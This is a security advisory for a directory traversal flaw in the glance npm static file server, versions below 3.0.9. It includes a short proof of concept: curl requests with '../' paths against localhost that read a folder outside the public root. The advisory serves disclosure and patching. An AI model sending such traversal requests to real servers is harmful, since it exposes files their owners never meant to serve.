Directory Traversal Affecting glance package, versions <3.0.9
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Test your applications- Snyk ID SNYK-JS-GLANCE-3318395
- published 12 Feb 2023
- disclosed 12 Feb 2023
- credit Liran Tal - Snyk Research Team
Introduced: 12 Feb 2023
CVE-2022-25937 Open this link in a new tabHow to fix?
Upgrade glance to version 3.0.9 or higher.
Overview
glance is a quick disposable http server for static files.
Affected versions of this package are vulnerable to Directory Traversal that allows users to read files outside the public root directory. This is related to but distinct from the vulnerability reported in CVE-2018-3715.
PoC
Run glance in a directory containing subdirectories named private, public and public-isprivate, setting public as the public root directory.
npx glance --dir "public" --verbose
Run these from the same directory:
curl --path-as-is "http://localhost:8080/../private/index.html" This request is denied, as expected with the prior vulnerability fix.
curl --path-as-is "http://localhost:8080/../public/index.html" This request is allowed, as expected with the functionality of the local HTTP server.
curl --path-as-is "http://localhost:8080/../public-isprivate/index.html" This request should be denied because it is outside the public/ folder, but it is actually allowed.